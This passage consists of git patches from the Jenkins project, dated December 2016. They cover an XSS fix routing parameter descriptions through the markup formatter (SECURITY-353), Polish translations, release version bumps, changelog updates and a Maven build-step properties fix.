                        * That is, this creates {A,B,C,D} from {A,B},{C,D}. */ + @SafeVarargs public static Iterable sequence( final Iterable... iterables ) { return new Iterable() { public Iterator iterator() { - return new FlattenIterator>(Arrays.asList(iterables)) { + return new FlattenIterator>(ImmutableList.copyOf(iterables)) { protected Iterator expand(Iterable iterable) { - return cast(iterable).iterator(); + return Iterators.cast(iterable).iterator(); } }; } @@ -350,8 +352,9 @@ public class Iterators { }; } + @SafeVarargs public static Iterator sequence(Iterator... iterators) { - return com.google.common.collect.Iterators.concat(iterators); + return com.google.common.collect.Iterators.concat(iterators); } /** diff --git a/core/src/main/java/jenkins/model/InterruptedBuildAction.java b/core/src/main/java/jenkins/model/InterruptedBuildAction.java index b5f9c6b6f5..c734d58bbb 100644 --- a/core/src/main/java/jenkins/model/InterruptedBuildAction.java +++ b/core/src/main/java/jenkins/model/InterruptedBuildAction.java @@ -43,7 +43,7 @@ public class InterruptedBuildAction extends InvisibleAction { private final List causes; public InterruptedBuildAction(Collection causes) { - this.causes = ImmutableList.copyOf(causes); + this.causes = ImmutableList.copyOf(causes); } @Exported -- GitLab From 0b471b7b693eb370c52c82382257419a07171f93 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 18:01:46 -0500 Subject: [PATCH 452/712] [SECURITY-353] Fixed markup formatter for StringParameterDefinition/Value. --- .../main/java/hudson/model/ParameterValue.java | 18 ++++++++++++++++++ .../StringParameterDefinition/index.jelly | 3 ++- .../model/StringParameterValue/value.jelly | 3 ++- .../test/java/hudson/model/ParametersTest.java | 2 -- 4 files changed, 22 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/ParameterValue.java b/core/src/main/java/hudson/model/ParameterValue.java index d3b39f614a..fbea3895fd 100644 --- a/core/src/main/java/hudson/model/ParameterValue.java +++ b/core/src/main/java/hudson/model/ParameterValue.java @@ -31,11 +31,16 @@ import hudson.scm.SCM; import hudson.tasks.BuildWrapper; import hudson.tasks.Builder; import hudson.util.VariableResolver; +import java.io.IOException; import java.io.Serializable; import java.util.Map; +import java.util.logging.Logger; +import jenkins.model.Jenkins; import net.sf.json.JSONObject; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.export.Exported; @@ -70,6 +75,9 @@ import org.kohsuke.stapler.export.ExportedBean; */ @ExportedBean(defaultVisibility=3) public abstract class ParameterValue implements Serializable { + + private static final Logger LOGGER = Logger.getLogger(ParameterValue.class.getName()); + protected final String name; private String description; @@ -91,6 +99,16 @@ public abstract class ParameterValue implements Serializable { this.description = description; } + @Restricted(DoNotUse.class) // for value.jelly + public String getFormattedDescription() { + try { + return Jenkins.getInstance().getMarkupFormatter().translate(description); + } catch (IOException e) { + LOGGER.warning("failed to translate description using configured markup formatter"); + return ""; + } + } + /** * Name of the parameter. * diff --git a/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly index 2f99f33da9..2c6a20bfbb 100644 --- a/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/StringParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +

                        diff --git a/core/src/main/resources/hudson/model/StringParameterValue/value.jelly b/core/src/main/resources/hudson/model/StringParameterValue/value.jelly index 961a583d29..e3de9ff09a 100644 --- a/core/src/main/resources/hudson/model/StringParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/StringParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index 46a89eeb26..fe885e164c 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -17,7 +17,6 @@ import java.util.regex.Pattern; import org.apache.http.HttpStatus; import static org.hamcrest.Matchers.*; import static org.junit.Assert.*; -import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.rules.ErrorCollector; @@ -226,7 +225,6 @@ public class ParametersTest { HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } - @Ignore("TODO build page should mark up param description; parameters page should mark up param description") @Issue("SECURITY-353") @Test public void xss() throws Exception { -- GitLab From ea2ca1c5cb6be5eaeb73ac8401097529d6e5df1a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 18:10:10 -0500 Subject: [PATCH 453/712] Extended markup formatter fix to other core parameter types. --- .../hudson/model/BooleanParameterDefinition/index.jelly | 3 ++- .../resources/hudson/model/BooleanParameterValue/value.jelly | 3 ++- .../hudson/model/ChoiceParameterDefinition/index.jelly | 3 ++- .../resources/hudson/model/FileParameterDefinition/index.jelly | 3 ++- .../main/resources/hudson/model/FileParameterValue/value.jelly | 3 ++- .../hudson/model/PasswordParameterDefinition/index.jelly | 3 ++- .../resources/hudson/model/PasswordParameterValue/value.jelly | 3 ++- .../resources/hudson/model/RunParameterDefinition/index.jelly | 3 ++- .../main/resources/hudson/model/RunParameterValue/value.jelly | 3 ++- .../resources/hudson/model/TextParameterDefinition/index.jelly | 3 ++- .../main/resources/hudson/model/TextParameterValue/value.jelly | 3 ++- 11 files changed, 22 insertions(+), 11 deletions(-) diff --git a/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly index 4a06f79573..b2069b3b67 100644 --- a/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/BooleanParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                        diff --git a/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly b/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly index 4dd9f679d7..7eaf8be8f6 100644 --- a/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/BooleanParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly index 36795a45f6..60c86d9a24 100644 --- a/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/ChoiceParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                        diff --git a/core/src/main/resources/hudson/model/FileParameterValue/value.jelly b/core/src/main/resources/hudson/model/FileParameterValue/value.jelly index 4c5c35c1d4..0afcb71564 100644 --- a/core/src/main/resources/hudson/model/FileParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/FileParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + diff --git a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly index 9bac23608c..bf5db564fa 100644 --- a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                        diff --git a/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly b/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly index d1a142f2db..e4a5007730 100644 --- a/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/PasswordParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file diff --git a/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly index 62dbc44469..db37d683d3 100644 --- a/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/RunParameterDefinition/index.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + +
                        diff --git a/core/src/main/resources/hudson/model/TextParameterValue/value.jelly b/core/src/main/resources/hudson/model/TextParameterValue/value.jelly index 5c089e0ac0..8ae92827ad 100644 --- a/core/src/main/resources/hudson/model/TextParameterValue/value.jelly +++ b/core/src/main/resources/hudson/model/TextParameterValue/value.jelly @@ -26,7 +26,8 @@ THE SOFTWARE. - + + \ No newline at end of file -- GitLab From eaa4c5c4776d93b6566205309d940b81fd1aa2bf Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Wed, 21 Dec 2016 23:38:11 +0100 Subject: [PATCH 454/712] Polish translations --- .../CoreUpdateMonitor/message_pl.properties | 25 ++++++++++++-- .../resources/hudson/Messages_pl.properties | 11 +++---- .../hudson/diagnosis/Messages_pl.properties | 23 +++++++++++++ .../hudson/lifecycle/Messages_pl.properties | 25 ++++++++++++++ .../WindowsInstallerLink/index_pl.properties | 26 +++++++++++++++ .../model/AbstractBuild/index_pl.properties | 4 +-- .../config_pl.properties | 24 ++++++++++++++ .../config_pl.properties | 24 ++++++++++++++ .../config_pl.properties | 23 +++++++++++++ .../hudson/model/Job/index_pl.properties | 1 + .../hudson/model/Messages_pl.properties | 33 +++++++------------ .../config_pl.properties | 24 ++++++++++++++ .../hudson/model/Run/logKeep_pl.properties | 5 ++- .../config_pl.properties | 24 ++++++++++++++ .../config_pl.properties | 24 ++++++++++++++ .../model/UpdateCenter/index_pl.properties | 3 +- .../hudson/security/Messages_pl.properties | 2 ++ .../model/Jenkins/legend_pl.properties | 33 +++++++++++++++---- .../project/config-publishers2_pl.properties | 4 +-- .../project/config-trigger_pl.properties | 2 +- 20 files changed, 294 insertions(+), 46 deletions(-) create mode 100644 core/src/main/resources/hudson/diagnosis/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/lifecycle/Messages_pl.properties create mode 100644 core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/index_pl.properties create mode 100644 core/src/main/resources/hudson/model/BooleanParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/ChoiceParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/FileParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/PasswordParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/StringParameterDefinition/config_pl.properties create mode 100644 core/src/main/resources/hudson/model/TextParameterDefinition/config_pl.properties diff --git a/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties b/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties index 6f5ff479b3..18a2cbe3c3 100644 --- a/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties +++ b/core/src/filter/resources/hudson/model/UpdateCenter/CoreUpdateMonitor/message_pl.properties @@ -1,6 +1,25 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2013-2016, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. NewVersionAvailable=Nowa wersja Jenkinsa ({0}) jest dost\u0119pna do pobrania (historia zmian). -Or\ Upgrade\ Automatically=Albo uaktualnij automatycznie +Or\ Upgrade\ Automatically=Uaktualnij automatycznie UpgradeCompleteRestartNotSupported=Aktualizacja Jenkinsa do wersji {0} zako\u0144czy\u0142a si\u0119 pomy\u015Blnie, oczekiwanie na ponowne uruchomienie. UpgradeProgress=Aktualizacja Jenkinsa do wersji {0} trwa lub nie powiod\u0142a si\u0119. diff --git a/core/src/main/resources/hudson/Messages_pl.properties b/core/src/main/resources/hudson/Messages_pl.properties index 21c4155672..c20122aeae 100644 --- a/core/src/main/resources/hudson/Messages_pl.properties +++ b/core/src/main/resources/hudson/Messages_pl.properties @@ -19,15 +19,14 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - Util.millisecond={0} ms Util.second={0} sek Util.minute={0} min -Util.hour ={0} godz -Util.day ={0} {0,choice,0#dni|1#dzie\u0144|1 Date: Sat, 24 Dec 2016 09:09:58 -0500 Subject: [PATCH 455/712] [FIXED JENKINS-25333] Update to Winstone 3.2. (#2673) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 4c251e823c..16be8a39b5 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -93,7 +93,7 @@ THE SOFTWARE. --> org.jenkins-ci winstone - 3.1 + 3.2 test -- GitLab From 936cd2826eadb92c9638ec801e7211db4159ccfd Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sat, 24 Dec 2016 11:50:38 -0800 Subject: [PATCH 456/712] [maven-release-plugin] prepare release jenkins-2.32.1 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4c8095b692..056f1412da 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 cli diff --git a/core/pom.xml b/core/pom.xml index d2a566e883..2696895db2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 jenkins-core diff --git a/pom.xml b/pom.xml index fc79079bed..0fa90db482 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.32.1 diff --git a/test/pom.xml b/test/pom.xml index aa6df4df65..7473c6ca87 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 test diff --git a/war/pom.xml b/war/pom.xml index 6f844625c1..2846a6b54c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1-SNAPSHOT + 2.32.1 jenkins-war -- GitLab From 6996049da7b67499d05e44c99df029075e2319ec Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sat, 24 Dec 2016 11:50:38 -0800 Subject: [PATCH 457/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 056f1412da..604a6459fc 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2696895db2..0526674a0d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 0fa90db482..bf7e674ac5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.32.1 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 7473c6ca87..045b40c680 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 2846a6b54c..57c54b16a6 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.32.1 + 2.32.2-SNAPSHOT jenkins-war -- GitLab From d05752a03248035bc571732ed8c3cf6cf1e4dc05 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 16:37:18 +0100 Subject: [PATCH 458/712] [FIXED JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. (#2677) [JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. --- .../main/resources/hudson/PluginManager/table.properties | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index cc7af60893..e7cd25852c 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -25,13 +25,12 @@ compatWarning=\ Consult the plugin release notes for details. coreWarning=\ Warning: This plugin is built for Jenkins {0} or newer. \ - It may or may not work in your Jenkins. + Jenkins will refuse to load this plugin if installed. depCompatWarning=\ Warning: This plugin requires dependent plugins be upgraded and at least one of these dependent plugins claims to use a different settings format than the installed version. \ Jobs using that plugin may need to be reconfigured, and/or you may not be able to cleanly revert to the prior version without manually restoring old settings. \ Consult the plugin release notes for details. depCoreWarning=\ - Warning: This plugin requires dependent plugins that are \ - built for Jenkins {0} or newer. The dependent plugins may \ - or may not work in your Jenkins and consequently this \ - plugin may or may not work in your Jenkins. + Warning: This plugin requires dependent plugins that require Jenkins {0} or newer. \ + Jenkins will refuse to load the dependent plugins requiring a newer version of Jenkins, \ + and in turn loading this plugin will fail. -- GitLab From cde0363260241844908f87a24d7c46bbb32566eb Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 25 Dec 2016 08:35:24 -0800 Subject: [PATCH 459/712] [maven-release-plugin] prepare release jenkins-2.38 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index c16d16e748..389e39d15b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 cli diff --git a/core/pom.xml b/core/pom.xml index 3d177c3e15..dc1dbceef7 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 jenkins-core diff --git a/pom.xml b/pom.xml index 1e96f58882..6512b1a3a2 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.38 diff --git a/test/pom.xml b/test/pom.xml index a82e167128..6b78d84aad 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 test diff --git a/war/pom.xml b/war/pom.xml index 16be8a39b5..7ada2cba0c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38-SNAPSHOT + 2.38 jenkins-war -- GitLab From fb501134f4d48718237056bcad64ae6132a1460b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 25 Dec 2016 08:35:24 -0800 Subject: [PATCH 460/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 389e39d15b..0d76ef00b4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index dc1dbceef7..9e4e54a353 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 6512b1a3a2..1d7944f044 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.38 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 6b78d84aad..1437c70f63 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 7ada2cba0c..6498791cf7 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.38 + 2.39-SNAPSHOT jenkins-war -- GitLab From 289c7fb2dd5cffe06a715f84306894bb6c79580c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 25 Dec 2016 08:42:36 -0800 Subject: [PATCH 461/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index beb6bf8928..bb7e057401 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                      +

                      What's new in 2.38 (2016/12/25)

                      +
                        +
                      • +

                      What's new in 2.37 (2016/12/18)

                      • -- GitLab From 25e2df69776a9b7c2e03272e405fda0c05804169 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 20:42:13 +0100 Subject: [PATCH 462/712] Noting #2673, #2674, #2677 --- changelog.html | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index bb7e057401..8c92216741 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,17 @@ Upcoming changes

                        What's new in 2.38 (2016/12/25)

                          -
                        • +
                        • + Update to Winstone 3.2 to support ad-hoc certification generation on Java 8 (using unsupported APIs). + This option is deprecated and will be removed in a future release. + We strongly recommend you create self-signed certificates yourself and use --httpsKeyStore and related options instead. + (issue 25333) +
                        • + The install-plugin CLI command now correctly installs plugins when multiple file arguments are specified. + (issue 32358) +
                        • + Correctly state that Jenkins will refuse to load plugins whose dependencies are not satisfied in plugin manager. + (issue 40666)

                        What's new in 2.37 (2016/12/18)

                          -- GitLab From 6ad91b9799ce7eb6db8e6a4ee5a7e81d0a872fe3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 21:01:48 +0100 Subject: [PATCH 463/712] Typo --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 8c92216741..b8d81257db 100644 --- a/changelog.html +++ b/changelog.html @@ -62,7 +62,7 @@ Upcoming changes

                          What's new in 2.38 (2016/12/25)

                          • - Update to Winstone 3.2 to support ad-hoc certification generation on Java 8 (using unsupported APIs). + Update to Winstone 3.2 to support ad-hoc certificate generation on Java 8 (using unsupported APIs). This option is deprecated and will be removed in a future release. We strongly recommend you create self-signed certificates yourself and use --httpsKeyStore and related options instead. (issue 25333) -- GitLab From 138ce3d8d191daab42ed986254ae689ceb836aad Mon Sep 17 00:00:00 2001 From: Victor Date: Tue, 27 Dec 2016 10:47:18 +0100 Subject: [PATCH 464/712] [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step (#2638) * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Changed order in which properties are appended to command line: properties appended later win in case of conflicts * [FIX JENKINS-39268] More precise messages in some assertions * [FIX JENKINS-39268] Cleanup unused imports * [FIX JENKINS-39268] Added functional tests for Maven task. --- core/src/main/java/hudson/tasks/Maven.java | 12 ++++--- .../src/test/java/hudson/tasks/MavenTest.java | 34 ++++++++++++++----- 2 files changed, 33 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index a8d78ed344..dc9dfe8475 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -340,13 +340,17 @@ public class Maven extends Builder { } } + Set sensitiveVars = build.getSensitiveBuildVariables(); + + // Inject environment variables only if chosen to do so if (isInjectBuildVariables()) { - Set sensitiveVars = build.getSensitiveBuildVariables(); - args.addKeyValuePairs("-D",build.getBuildVariables(),sensitiveVars); - final VariableResolver resolver = new Union(new ByMap(env), vr); - args.addKeyValuePairsFromPropertyString("-D",this.properties,resolver,sensitiveVars); + args.addKeyValuePairs("-D", build.getBuildVariables(), sensitiveVars); } + // Add properties from builder configuration, AFTER the injected build variables. + final VariableResolver resolver = new Union(new ByMap(env), vr); + args.addKeyValuePairsFromPropertyString("-D", this.properties, resolver, sensitiveVars); + if (usesPrivateRepository()) args.add("-Dmaven.repo.local=" + build.getWorkspace().child(".repository")); args.addTokenized(normalizedTarget); diff --git a/test/src/test/java/hudson/tasks/MavenTest.java b/test/src/test/java/hudson/tasks/MavenTest.java index 5a61b3f5dc..bbc3d804a4 100644 --- a/test/src/test/java/hudson/tasks/MavenTest.java +++ b/test/src/test/java/hudson/tasks/MavenTest.java @@ -45,10 +45,8 @@ import hudson.tasks.Maven.MavenInstallation.DescriptorImpl; import hudson.tools.ToolProperty; import hudson.tools.ToolPropertyDescriptor; import hudson.tools.InstallSourceProperty; -import hudson.tools.ToolInstallation; import hudson.util.DescribableList; -import java.io.IOException; import java.util.Collections; import javax.xml.transform.Source; @@ -63,13 +61,11 @@ import hudson.model.PasswordParameterDefinition; import org.jvnet.hudson.test.Issue; import static org.junit.Assert.*; -import org.apache.tools.ant.filters.TokenFilter.ContainsString; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.ExtractResourceSCM; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.ToolInstallations; -import org.jvnet.hudson.test.SingleFileSCM; /** * @author Kohsuke Kawaguchi @@ -323,21 +319,41 @@ public class MavenTest { FreeStyleProject p = j.createFreeStyleProject(); p.updateByXml((Source) new StreamSource(getClass().getResourceAsStream("MavenTest/doPassBuildVariablesOptionally.xml"))); String log = j.buildAndAssertSuccess(p).getLog(); - assertTrue(p.getBuildersList().get(Maven.class).isInjectBuildVariables()); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables injection should be enabled by default when loading from XML", p.getBuildersList().get(Maven.class).isInjectBuildVariables()); + assertTrue("Build variables should be injected by default when loading from XML", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, false/*do not inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertFalse("Build variables are not injected", log.contains("-DNAME=VALUE")); + assertFalse("Build variables should not be injected", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, true/*do inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables should be injected", log.contains("-DNAME=VALUE")); - assertFalse(new Maven("", "").isInjectBuildVariables()); + assertFalse("Build variables injection should be disabled by default", new Maven("", "").isInjectBuildVariables()); + } + + @Test public void doAlwaysPassProperties() throws Exception { + MavenInstallation maven = ToolInstallations.configureMaven3(); + + FreeStyleProject p = j.createFreeStyleProject(); + String properties = "TEST_PROP1=VAL1\nTEST_PROP2=VAL2"; + + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, 